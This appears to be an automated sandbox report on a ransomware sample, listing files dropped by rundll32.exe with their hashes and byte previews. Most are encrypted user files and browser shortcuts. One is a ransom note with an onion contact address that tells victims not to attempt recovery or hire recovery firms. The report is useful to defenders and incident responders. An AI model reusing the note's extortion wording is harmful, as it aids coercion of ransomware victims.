C:\Users\user\Downloads\WKXEWIOTXI.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.569345321343465
Encrypted:	false
SSDEEP:
MD5:	85B877F5858770212E9DBABE1A9B3A39
SHA1:	21AF2E3113F16051E991CD6C1A40A8BDC9481C3C
SHA-256:	56DE377615282D373238003AB1093ADE3C19BC73C439D8EE4EF92B69D054AF90
SHA-512:	4F8DB14C7B83E4A61ECE724450952A8BA9B67D87B0EE705E914F917EBA35B71A5B2F532F37924D5B4B5D401884430C44428C640871502AEC5FBDC0C68FEF4164
Malicious:	false
Preview:	as3a....8.yn...[..8....0.p.....Us..rs......\|.x."..4s.......pcs.u..&.%.dg...]......2.j...q.Gr..pq......q.{.0..1....e...`ro8b..$.'.dm...X..<....=.{...d.Ui..ot......}.d..+..6t...n...kt{)k..0.7.gz...W..!....?.~...q.A}..wy......s.}.3..(j...u...bt..n..&.6.jn...Y..%....).`...k.Wg..ld......l.a..3..:`...\|...fwk-q..(.0.dz...M..!....5.q...m.Pf..yf......~.l..#..'~...x...rzh<g..+.1.j\|...D..#....2.~...x.D...py......r.o..!..!v...d...yro!g..'./.pg...K..>....+.{...e.Fj..nr......k.~.&..&q...t...bxw#h..#.0.qj...B..%....-.m...a.Me..ot......x.v.5..7g...}...lnp(c..4.".ug...^..8....".t...}.Jw..ia......l.p.!..)g...g...c\|i3l..,.:.k....@..4....1.j...b.Aq..j`......m.p. ..3{...o...wqp"}..0.1.fj...G..$....(.p...\|.Ox..bz......g.w..3..<c...x...g~i$a..0.).zw...G..$....,.m...o.Qj..du......q.w.6..3a...u...u}w f..7.-.d}...N..+....;.y...h.At..qs......y.x..=..&y...x...bds/j..&.(.vm...[........l...f.Ce..g~......z.r.6..:g....{...m\|h)i../.8.q{...B..)....4.r...j.Ii..q~...

C:\Users\user\Downloads\WKXEWIOTXI.xlsx.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.569345321343465
Encrypted:	false
SSDEEP:
MD5:	85B877F5858770212E9DBABE1A9B3A39
SHA1:	21AF2E3113F16051E991CD6C1A40A8BDC9481C3C
SHA-256:	56DE377615282D373238003AB1093ADE3C19BC73C439D8EE4EF92B69D054AF90
SHA-512:	4F8DB14C7B83E4A61ECE724450952A8BA9B67D87B0EE705E914F917EBA35B71A5B2F532F37924D5B4B5D401884430C44428C640871502AEC5FBDC0C68FEF4164
Malicious:	false
Preview:	as3a....8.yn...[..8....0.p.....Us..rs......\|.x."..4s.......pcs.u..&.%.dg...]......2.j...q.Gr..pq......q.{.0..1....e...`ro8b..$.'.dm...X..<....=.{...d.Ui..ot......}.d..+..6t...n...kt{)k..0.7.gz...W..!....?.~...q.A}..wy......s.}.3..(j...u...bt..n..&.6.jn...Y..%....).`...k.Wg..ld......l.a..3..:`...\|...fwk-q..(.0.dz...M..!....5.q...m.Pf..yf......~.l..#..'~...x...rzh<g..+.1.j\|...D..#....2.~...x.D...py......r.o..!..!v...d...yro!g..'./.pg...K..>....+.{...e.Fj..nr......k.~.&..&q...t...bxw#h..#.0.qj...B..%....-.m...a.Me..ot......x.v.5..7g...}...lnp(c..4.".ug...^..8....".t...}.Jw..ia......l.p.!..)g...g...c\|i3l..,.:.k....@..4....1.j...b.Aq..j`......m.p. ..3{...o...wqp"}..0.1.fj...G..$....(.p...\|.Ox..bz......g.w..3..<c...x...g~i$a..0.).zw...G..$....,.m...o.Qj..du......q.w.6..3a...u...u}w f..7.-.d}...N..+....;.y...h.At..qs......y.x..=..&y...x...bds/j..&.(.vm...[........l...f.Ce..g~......z.r.6..:g....{...m\|h)i../.8.q{...B..)....4.r...j.Ii..q~...

C:\Users\user\Downloads\ZTGJILHXQB.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.55835240286151
Encrypted:	false
SSDEEP:
MD5:	C8EB3C3A9CACD70F104886596503B5C8
SHA1:	8596EEA0D17C08A558B7F62C04D570F2C0F0FDC2
SHA-256:	14FB2CA0B82445EABC92E477B78E19A8F23D86C085EE32D972952DAC474DFC2A
SHA-512:	8FDE34B41ADA055858573AE2513F943B1C1E4A171C5AA6E310237CC29CAF31D2BD981A7A432063DF97538527CF027EE606F581EA7EEE6B14E56ED9EDF75879CE
Malicious:	false
Preview:	....._.+.&P.......wS....Sgi2.r.r.[.w.5..wv.....[m..1.".i........C.1m)^.......jS....Lgv0.h.l.J.`. ..e~.....Xy..+...j........_.1z6Z.......nQ....Nat$.h.t.P.t.1..}m.....R~..?...x........C.'a#D.......zP....Rz\|".t.`.].x.0..x~.....[`..<..k........R.$m0[.......zH....]ux4.}.t.^.x.#...gt.....J....?.y........X.8b-M.......eL....T\|m(.j.k.P.g.<..ek.....Kf.. .4.v........Q.=`7_........wP....J}n+.y.}.B.e.&...pw.....I\|..;.8.u........E.<a4B........oX....Kww).p.n.X.q./...b......Ek..<.<.q........].+v0A.......nG....V{t+.q.~.Y.{.7..wj.....H}..9.>.s........P.2h#[.......pJ....L~w".l.w.G.p.,..`~.....Ld..).+.x........E.8b=D.......kG....^b{(.f.l.Z.{.3...~a.....Jr..&.+.f........W.;j)L.......oK...._xy4.j.j.Y.t.$...ru......Ym..&.8.n........G.*w3N.......{D....Ar}).z.r.O.}.7...rl.....Kk..%.7.v........Y.'b>G.......{Q....Cus..o.u.Y.`.3...\|k.....Xc..8.,.s........[.?i#S........zT....^vo".i.o.J.c.-..rk.....Wa..8.!.m........T.&f4[.......tD....Pyl$.n.m.N.p.4

C:\Users\user\Downloads\ZTGJILHXQB.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.55835240286151
Encrypted:	false
SSDEEP:
MD5:	C8EB3C3A9CACD70F104886596503B5C8
SHA1:	8596EEA0D17C08A558B7F62C04D570F2C0F0FDC2
SHA-256:	14FB2CA0B82445EABC92E477B78E19A8F23D86C085EE32D972952DAC474DFC2A
SHA-512:	8FDE34B41ADA055858573AE2513F943B1C1E4A171C5AA6E310237CC29CAF31D2BD981A7A432063DF97538527CF027EE606F581EA7EEE6B14E56ED9EDF75879CE
Malicious:	false
Preview:	....._.+.&P.......wS....Sgi2.r.r.[.w.5..wv.....[m..1.".i........C.1m)^.......jS....Lgv0.h.l.J.`. ..e~.....Xy..+...j........_.1z6Z.......nQ....Nat$.h.t.P.t.1..}m.....R~..?...x........C.'a#D.......zP....Rz\|".t.`.].x.0..x~.....[`..<..k........R.$m0[.......zH....]ux4.}.t.^.x.#...gt.....J....?.y........X.8b-M.......eL....T\|m(.j.k.P.g.<..ek.....Kf.. .4.v........Q.=`7_........wP....J}n+.y.}.B.e.&...pw.....I\|..;.8.u........E.<a4B........oX....Kww).p.n.X.q./...b......Ek..<.<.q........].+v0A.......nG....V{t+.q.~.Y.{.7..wj.....H}..9.>.s........P.2h#[.......pJ....L~w".l.w.G.p.,..`~.....Ld..).+.x........E.8b=D.......kG....^b{(.f.l.Z.{.3...~a.....Jr..&.+.f........W.;j)L.......oK...._xy4.j.j.Y.t.$...ru......Ym..&.8.n........G.*w3N.......{D....Ar}).z.r.O.}.7...rl.....Kk..%.7.v........Y.'b>G.......{Q....Cus..o.u.Y.`.3...\|k.....Xc..8.,.s........[.?i#S........zT....^vo".i.o.J.c.-..rk.....Wa..8.!.m........T.&f4[.......tD....Pyl$.n.m.N.p.4

C:\Users\user\Downloads\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Users\user\Favorites\Amazon.url

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	425
Entropy (8bit):	6.424350439217568
Encrypted:	false
SSDEEP:
MD5:	67BAFC39869CEF16E261D261C8263F61
SHA1:	D1361B3DDC3ECF79446674B58571B346265A8DFB
SHA-256:	5282F5C565D058D7892CF055F9BBAC4B2DF971FE67E5B905380CB067D280C53C
SHA-512:	541756377BD524F5CD9752FCEB46FF3F715379B8BBACBFD5E1C63543F7FAC2076DC9ABD3875975B89FCCB1C9F3A183896AE7996E926FDC8D100085D19693E01B
Malicious:	false
Preview:	3.b)m]...3....y?...OE..=.I.q....?....M.O..z.Yf&.....}..J58l.rkhortcut]..IDList=..URL=http://www.amazon.com/.......9.S``R....X.W...%5..O.-.y.u.cL...........%EV.l.Tju.m5....e.1..fe....1..&...J.._M]...?..}w.0......buh4....1...bad..No^s.h..~k...2.!u#.....n.6.o..>.)..Z...7.o.+..6DF.....g..".L.>Y...Y'.j#....+...................................................................................@.........29yp10v5m8k.

C:\Users\user\Favorites\Amazon.url.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	425
Entropy (8bit):	6.424350439217568
Encrypted:	false
SSDEEP:
MD5:	67BAFC39869CEF16E261D261C8263F61
SHA1:	D1361B3DDC3ECF79446674B58571B346265A8DFB
SHA-256:	5282F5C565D058D7892CF055F9BBAC4B2DF971FE67E5B905380CB067D280C53C
SHA-512:	541756377BD524F5CD9752FCEB46FF3F715379B8BBACBFD5E1C63543F7FAC2076DC9ABD3875975B89FCCB1C9F3A183896AE7996E926FDC8D100085D19693E01B
Malicious:	false
Preview:	3.b)m]...3....y?...OE..=.I.q....?....M.O..z.Yf&.....}..J58l.rkhortcut]..IDList=..URL=http://www.amazon.com/.......9.S``R....X.W...%5..O.-.y.u.cL...........%EV.l.Tju.m5....e.1..fe....1..&...J.._M]...?..}w.0......buh4....1...bad..No^s.h..~k...2.!u#.....n.6.o..>.)..Z...7.o.+..6DF.....g..".L.>Y...Y'.j#....+...................................................................................@.........29yp10v5m8k.

C:\Users\user\Favorites\Bing.url

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	522
Entropy (8bit):	6.79731453546319
Encrypted:	false
SSDEEP:
MD5:	0D33D243B77F0539A492EB66C147D7D0
SHA1:	D7E540495E974556AC50D7F8E1FCACE6214343B0
SHA-256:	C0FD4ABA35ED5BE318FD828D952195570A0D32605EBE13711DBA337522114221
SHA-512:	4FF4FE3161EFFDAE081361503DAE076ADD850B9038AEA0624A796CAD316693F04477D8D768C659EA8B834762CCA68AAAC1C415ACDFBC9CD8FBF09BE9DA9CA56C
Malicious:	false
Preview:	.P. .#..r7P8t7-.2.I......\|@.B...&.E..G.f.E... .V...3.N0..}\|;D%DWd.dF..HS$D-tt...,....W.<J.]..{....I...;...<.............xP+...!.#?.!u.AceI?.t..O.M.%.FO...y....\|...f..}......-.P(..vk.^mages\bing.ico.....~.2Y........C...N.4j.....,.._"r..q..v.m,>t...+...k..a;..@....%.}.*je.T.c-...2......+..@.Kh.....I.i@.g.5..4...g.D.;...0:@Q..ni_..!\|-...+......#.WI....WY>.^.$..6@0..e..;q.p.6?..\..9......8..`v.\.............................................................................................29yp10v5m8k.

C:\Users\user\Favorites\Bing.url.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	522
Entropy (8bit):	6.79731453546319
Encrypted:	false
SSDEEP:
MD5:	0D33D243B77F0539A492EB66C147D7D0
SHA1:	D7E540495E974556AC50D7F8E1FCACE6214343B0
SHA-256:	C0FD4ABA35ED5BE318FD828D952195570A0D32605EBE13711DBA337522114221
SHA-512:	4FF4FE3161EFFDAE081361503DAE076ADD850B9038AEA0624A796CAD316693F04477D8D768C659EA8B834762CCA68AAAC1C415ACDFBC9CD8FBF09BE9DA9CA56C
Malicious:	false
Preview:	.P. .#..r7P8t7-.2.I......\|@.B...&.E..G.f.E... .V...3.N0..}\|;D%DWd.dF..HS$D-tt...,....W.<J.]..{....I...;...<.............xP+...!.#?.!u.AceI?.t..O.M.%.FO...y....\|...f..}......-.P(..vk.^mages\bing.ico.....~.2Y........C...N.4j.....,.._"r..q..v.m,>t...+...k..a;..@....%.}.*je.T.c-...2......+..@.Kh.....I.i@.g.5..4...g.D.;...0:@Q..ni_..!\|-...+......#.WI....WY>.^.$..6@0..e..;q.p.6?..\..9......8..`v.\.............................................................................................29yp10v5m8k.

C:\Users\user\Favorites\Facebook.url

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	427
Entropy (8bit):	6.470393730681019
Encrypted:	false
SSDEEP:
MD5:	5B9F05E73E7E5D7987F353DCE85C1FF4
SHA1:	BAF93D13E8E87D8F2092E970324E3B480981651A
SHA-256:	5635FD8424E3624717AFB3E52BFEABEC452DEDE2114A7E1E747ABF2D0CE29D03
SHA-512:	DC3B7C31D8EEE61ED9449FD18D5F499A59C76259794F531D976210F33E12A4D814E36F2B985116DCEACDBF2E03605E726D3CEBDB23B28CD72C52971B50F934D4
Malicious:	false
Preview:	.k..^Qn.p.ks...^:.s}.?...1..l{N.a...cQ.l9^.}...^6.A...S..hortcut]..IDList=..URL=http://www.facebook.com/.....8h~aL..-D..M..9.>..T.!....w..]r../...r.[.e9....Z..C......x.....?x.+..D.\|.....lm..6.....T.....G..4.q........&........H.SE..&J.?..4.6SS3N.^.......JF'..6..kV+...U/..H..yW..\.x...Uf.q.C.zQ..Z..-.DO...................................................................................@.........29yp10v5m8k.

C:\Users\user\Favorites\Facebook.url.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	427
Entropy (8bit):	6.470393730681019
Encrypted:	false
SSDEEP:
MD5:	5B9F05E73E7E5D7987F353DCE85C1FF4
SHA1:	BAF93D13E8E87D8F2092E970324E3B480981651A
SHA-256:	5635FD8424E3624717AFB3E52BFEABEC452DEDE2114A7E1E747ABF2D0CE29D03
SHA-512:	DC3B7C31D8EEE61ED9449FD18D5F499A59C76259794F531D976210F33E12A4D814E36F2B985116DCEACDBF2E03605E726D3CEBDB23B28CD72C52971B50F934D4
Malicious:	false
Preview:	.k..^Qn.p.ks...^:.s}.?...1..l{N.a...cQ.l9^.}...^6.A...S..hortcut]..IDList=..URL=http://www.facebook.com/.....8h~aL..-D..M..9.>..T.!....w..]r../...r.[.e9....Z..C......x.....?x.+..D.\|.....lm..6.....T.....G..4.q........&........H.SE..&J.?..4.6SS3N.^.......JF'..6..kV+...U/..H..yW..\.x...Uf.q.C.zQ..Z..-.DO...................................................................................@.........29yp10v5m8k.

C:\Users\user\Favorites\Google.url

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	425
Entropy (8bit):	6.502686555256458
Encrypted:	false
SSDEEP:
MD5:	1E6B8AA82F09A646DABDBA42FAF57EAC
SHA1:	B8FDD66D36693C157DB99895A913DEFE7A4E61C2
SHA-256:	EF421A4A9386456145E2DD279A0615A8CA807F7C08D95D3D24B33909D8965FF0
SHA-512:	605D2249C18E1AD710BED44E7042959B6E0B313EE9F75D85A7AE9C024399BD81849FFF4EBFB5EE6DF98450594C00DD7D96E40125548C0929B677877BACFD65A7
Malicious:	false
Preview:	1...TN\.N={.q:...N.D..g..iM..iR.?K.Je.\.qY.....GS.A........rV.hortcut]..IDList=..URL=http://www.google.com/....!....42Z......u.t..r.-...c..a.o..E3{..2..1....j....N.............. ..D_\..N.].w.=...I....?...W.]....Y..H6.z......S...#a.......gL.j.......w..6Q....l.\|..8S.[..k..y.....K.P....gi.......{B..._...?O..R....k...................................................................................@.........29yp10v5m8k.

C:\Users\user\Favorites\Google.url.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	425
Entropy (8bit):	6.502686555256458
Encrypted:	false
SSDEEP:
MD5:	1E6B8AA82F09A646DABDBA42FAF57EAC
SHA1:	B8FDD66D36693C157DB99895A913DEFE7A4E61C2
SHA-256:	EF421A4A9386456145E2DD279A0615A8CA807F7C08D95D3D24B33909D8965FF0
SHA-512:	605D2249C18E1AD710BED44E7042959B6E0B313EE9F75D85A7AE9C024399BD81849FFF4EBFB5EE6DF98450594C00DD7D96E40125548C0929B677877BACFD65A7
Malicious:	false
Preview:	1...TN\.N={.q:...N.D..g..iM..iR.?K.Je.\.qY.....GS.A........rV.hortcut]..IDList=..URL=http://www.google.com/....!....42Z......u.t..r.-...c..a.o..E3{..2..1....j....N.............. ..D_\..N.].w.=...I....?...W.]....Y..H6.z......S...#a.......gL.j.......w..6Q....l.\|..8S.[..k..y.....K.P....gi.......{B..._...?O..R....k...................................................................................@.........29yp10v5m8k.

C:\Users\user\Favorites\Live.url

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	zlib compressed data
Category:	dropped
Size (bytes):	423
Entropy (8bit):	6.505538816714587
Encrypted:	false
SSDEEP:
MD5:	2A59B904A91BD9F92AB05D5637327B83
SHA1:	6A1FBF9C541933CDF1730896487B04693B13BB73
SHA-256:	2D672C7CCBB3D5C829DD717D948847D7E78D6D3A1BFD9FFD1F874CD34736066C
SHA-512:	42C066BE70629898414A782813349897EB724212097AF766B52C622079956A10D6C199897B256C36DED80B51604373A14511656273AB55AB9FAF414453EF3B5C
Malicious:	false
Preview:	XG..Z.i...w.;jti.-...Fl..!zG]...P..P.x.p......h.v..O.Ev.....hortcut]..IDList=..URL=http://www.live.com/.....x...s...O.5&.......A.[L\|F./...b\=3O+/"..g..7..H2...J...QD........x9}.6..>.:.h......DD.....!N....4.1..^m..tS.O]..j\|....=n.[:..g.f........o......$.3..X+,...a..2&....4k_W(>`T....7@..Q5.H%-....................................................................................@.........29yp10v5m8k.

C:\Users\user\Favorites\Live.url.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	zlib compressed data
Category:	dropped
Size (bytes):	423
Entropy (8bit):	6.505538816714587
Encrypted:	false
SSDEEP:
MD5:	2A59B904A91BD9F92AB05D5637327B83
SHA1:	6A1FBF9C541933CDF1730896487B04693B13BB73
SHA-256:	2D672C7CCBB3D5C829DD717D948847D7E78D6D3A1BFD9FFD1F874CD34736066C
SHA-512:	42C066BE70629898414A782813349897EB724212097AF766B52C622079956A10D6C199897B256C36DED80B51604373A14511656273AB55AB9FAF414453EF3B5C
Malicious:	false
Preview:	XG..Z.i...w.;jti.-...Fl..!zG]...P..P.x.p......h.v..O.Ev.....hortcut]..IDList=..URL=http://www.live.com/.....x...s...O.5&.......A.[L\|F./...b\=3O+/"..g..7..H2...J...QD........x9}.6..>.:.h......DD.....!N....4.1..^m..tS.O]..j\|....=n.[:..g.f........o......$.3..X+,...a..2&....4k_W(>`T....7@..Q5.H%-....................................................................................@.........29yp10v5m8k.

C:\Users\user\Favorites\NYTimes.url

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	426
Entropy (8bit):	6.487016074565855
Encrypted:	false
SSDEEP:
MD5:	C25FDEA2529FA1D19FBE3C782476AA55
SHA1:	D49847D32DF9DE87571B443CE6C5432381BE8CB4
SHA-256:	A4E0463792EF1392235F6C38DCA37E479085216E80E6610303A34280D09B805F
SHA-512:	E6EDF8FF296B4B1661FF0A5B0232ADF2F20EA1824769B9B14142ED0F584D4C154C127E76BC983679B5A5FF2664229DB30C7D4B186CB8E37352698A8104CA89B1
Malicious:	false
Preview:	..?@..ZD..K...<....f...5[....)h.U.=....V.....5.C(.X`...V..chortcut]..IDList=..URL=http://www.nytimes.com/....\..F........,a....\|SA....A........r.JAL:R..z&K.....;P.I..F/..O..f?.&.9Bhy..G..C.;....k......b.;.b.R.};..P......c..H.G.k.!...g...\|b.<.'.-./VQ.,H........4..}$X.-C.....T.s.~.!.].%..D..zD.B!..> .d}...................................................................................@.........29yp10v5m8k.

C:\Users\user\Favorites\NYTimes.url.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	426
Entropy (8bit):	6.487016074565855
Encrypted:	false
SSDEEP:
MD5:	C25FDEA2529FA1D19FBE3C782476AA55
SHA1:	D49847D32DF9DE87571B443CE6C5432381BE8CB4
SHA-256:	A4E0463792EF1392235F6C38DCA37E479085216E80E6610303A34280D09B805F
SHA-512:	E6EDF8FF296B4B1661FF0A5B0232ADF2F20EA1824769B9B14142ED0F584D4C154C127E76BC983679B5A5FF2664229DB30C7D4B186CB8E37352698A8104CA89B1
Malicious:	false
Preview:	..?@..ZD..K...<....f...5[....)h.U.=....V.....5.C(.X`...V..chortcut]..IDList=..URL=http://www.nytimes.com/....\..F........,a....\|SA....A........r.JAL:R..z&K.....;P.I..F/..O..f?.&.9Bhy..G..C.;....k......b.;.b.R.};..P......c..H.G.k.!...g...\|b.<.'.-./VQ.,H........4..}$X.-C.....T.s.~.!.].%..D..zD.B!..> .d}...................................................................................@.........29yp10v5m8k.

C:\Users\user\Favorites\Reddit.url

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	425
Entropy (8bit):	6.4571076347951815
Encrypted:	false
SSDEEP:
MD5:	905CF160E7418CD2577F4798085AF66B
SHA1:	5C59945B2EF2542BEAFBAE4DA18A41D131239CF5
SHA-256:	7AC965EC850FAA375F2F893607ACBEB0F30AFBB4849471C33A5AA30BE0EB4C7F
SHA-512:	C4927AB3BA078BDF7520D55A6AE9CB65575348E9F70B75DEE7575A477FA5C9CEC2C1AB81382FA7635C6FD9C981E0F78CEB8267A195D0227F364132CD4F299EF4
Malicious:	false
Preview:	\.=.........5..-.i..^.`6?..N.1.\|......[..E...%....<0.YZo...hortcut]..IDList=..URL=http://www.reddit.com/.....h.!;..$^..\|.Q...a;..0...P.......4<..au..-Ix..!@.?.9.&q.eb..Q.q.........L.....@.).....S@..M.....9i...(.c..`.t....6.......b..<.q......eU....b'....N...G&.&...m..lY.f..-(.wRi'05J.@Bp.jWP}...q..\[.3.7.g.....................................................................................@.........29yp10v5m8k.

C:\Users\user\Favorites\Reddit.url.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	425
Entropy (8bit):	6.4571076347951815
Encrypted:	false
SSDEEP:
MD5:	905CF160E7418CD2577F4798085AF66B
SHA1:	5C59945B2EF2542BEAFBAE4DA18A41D131239CF5
SHA-256:	7AC965EC850FAA375F2F893607ACBEB0F30AFBB4849471C33A5AA30BE0EB4C7F
SHA-512:	C4927AB3BA078BDF7520D55A6AE9CB65575348E9F70B75DEE7575A477FA5C9CEC2C1AB81382FA7635C6FD9C981E0F78CEB8267A195D0227F364132CD4F299EF4
Malicious:	false
Preview:	\.=.........5..-.i..^.`6?..N.1.\|......[..E...%....<0.YZo...hortcut]..IDList=..URL=http://www.reddit.com/.....h.!;..$^..\|.Q...a;..0...P.......4<..au..-Ix..!@.?.9.&q.eb..Q.q.........L.....@.).....S@..M.....9i...(.c..`.t....6.......b..<.q......eU....b'....N...G&.&...m..lY.f..-(.wRi'05J.@Bp.jWP}...q..\[.3.7.g.....................................................................................@.........29yp10v5m8k.

C:\Users\user\Favorites\Twitter.url

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	426
Entropy (8bit):	6.3697844701306785
Encrypted:	false
SSDEEP:
MD5:	685C816B363675A06AB9789EAD164847
SHA1:	C9360B88831849D300EFF90CF9F1FD11CC56CB4D
SHA-256:	E37724299E2CBEC839C5947CD57E796B7266DE95313E1920DE73D8E39153DB47
SHA-512:	F53FC7D2492340A8ACD34E0C0FCCCE48078EB60060875D2A7414897A2B15F46D4F3FB4216C8F340316F24E3F2DCD99AB02A5B888B20875831C6FE08345E3B540
Malicious:	false
Preview:	t..........DQ....nS.F..8...#%'...G.C..\..kg8h4.."....7\|<..=hortcut]..IDList=..URL=http://www.twitter.com/........#s.}......:..X..&?[.x.w...&\...`../.......u......J...ex.........HD...v=.~...t4.}6..u.g.. .!.........5.g.U.8..I..Y\..I./.......DM..<...kpP....l.w`w...#...r8.r...#5.. ..$v.`.?...Q.G..X..v..,....................................................................................@.........29yp10v5m8k.

C:\Users\user\Favorites\Twitter.url.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	426
Entropy (8bit):	6.3697844701306785
Encrypted:	false
SSDEEP:
MD5:	685C816B363675A06AB9789EAD164847
SHA1:	C9360B88831849D300EFF90CF9F1FD11CC56CB4D
SHA-256:	E37724299E2CBEC839C5947CD57E796B7266DE95313E1920DE73D8E39153DB47
SHA-512:	F53FC7D2492340A8ACD34E0C0FCCCE48078EB60060875D2A7414897A2B15F46D4F3FB4216C8F340316F24E3F2DCD99AB02A5B888B20875831C6FE08345E3B540
Malicious:	false
Preview:	t..........DQ....nS.F..8...#%'...G.C..\..kg8h4.."....7\|<..=hortcut]..IDList=..URL=http://www.twitter.com/........#s.}......:..X..&?[.x.w...&\...`../.......u......J...ex.........HD...v=.~...t4.}6..u.g.. .!.........5.g.U.8..I..Y\..I./.......DM..<...kpP....l.w`w...#...r8.r...#5.. ..$v.`.?...Q.G..X..v..,....................................................................................@.........29yp10v5m8k.

C:\Users\user\Favorites\Wikipedia.url

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	428
Entropy (8bit):	6.49701909753008
Encrypted:	false
SSDEEP:
MD5:	E3C64E6D867889FC5439FC4DD8A0A25B
SHA1:	BC6623D613DC9BA913A730C3CCD6C92B552C750F
SHA-256:	CE77A50D1AD1FCA87A97411D1B25A33DBD19E60436C0A34466E3EA892429A7A8
SHA-512:	D81F705107570D760D0256997215507555E3662E89EE53E863967C354188B1677833FA596EF7E1A0D4E59026514676381153DC9F82F05232F9CD4A85A5257F57
Malicious:	false
Preview:	n.^D...4.[..%.<P"..'O.'.Fsw...sF.Bj....T..'u...es..S..."w. .>.hortcut]..IDList=..URL=http://www.wikipedia.com/....O D...IF.........u$.Z.C.-E.c.....q.z\w...d../.&...<...`..:..7.....;.....{...7\|.?......w.'..y=f...._.P.\.....1^A.Y...O.......Z.%....I........{3R....7.a....8.nbS...L...q...s.;3j...b.....uk...w....................................................................................@.........29yp10v5m8k.

C:\Users\user\Favorites\Wikipedia.url.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	428
Entropy (8bit):	6.49701909753008
Encrypted:	false
SSDEEP:
MD5:	E3C64E6D867889FC5439FC4DD8A0A25B
SHA1:	BC6623D613DC9BA913A730C3CCD6C92B552C750F
SHA-256:	CE77A50D1AD1FCA87A97411D1B25A33DBD19E60436C0A34466E3EA892429A7A8
SHA-512:	D81F705107570D760D0256997215507555E3662E89EE53E863967C354188B1677833FA596EF7E1A0D4E59026514676381153DC9F82F05232F9CD4A85A5257F57
Malicious:	false
Preview:	n.^D...4.[..%.<P"..'O.'.Fsw...sF.Bj....T..'u...es..S..."w. .>.hortcut]..IDList=..URL=http://www.wikipedia.com/....O D...IF.........u$.Z.C.-E.c.....q.z\w...d../.&...<...`..:..7.....;.....{...7\|.?......w.'..y=f...._.P.\.....1^A.Y...O.......Z.%....I........{3R....7.a....8.nbS...L...q...s.;3j...b.....uk...w....................................................................................@.........29yp10v5m8k.

C:\Users\user\Favorites\Youtube.url

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	426
Entropy (8bit):	6.5029641697401175
Encrypted:	false
SSDEEP:
MD5:	A5E167C1CA853335CF51C75B524A6EA5
SHA1:	C9FE87AB3107C3C3F745B0A814E18D9547F2F277
SHA-256:	3263DCEE8EDC2471BAA928C52FCED6D891742BDA7538F4F6C90342EE8D993020
SHA-512:	BEEDF1E4E47F86F10CC29B6EF368EC050C031AD05C8D1AC0C79BDB9716BECF25221F3C8DDA19EE924D4804136842C4ACDBE9FE73A07974CCCE4C7A9C607603B0
Malicious:	false
Preview:	..c...o`..~...3.F..b..7.M.W.l..W..9.....~...)....x<..3.M.ll'hortcut]..IDList=..URL=http://www.youtube.com/.......O..%.o#./..2..l.....w.{.R...w.c.....O..A#.gZ...{.aeKD. .%..6.B..BW...;.U.9[a+H'X..`..]\|jq.!Ct..A]....6..#...k...0.!...lB...>..."".@d....5.^..t.gfI..L....VA........"..8..O...[..0rl..H.PW.x.....................................................................................@.........29yp10v5m8k.

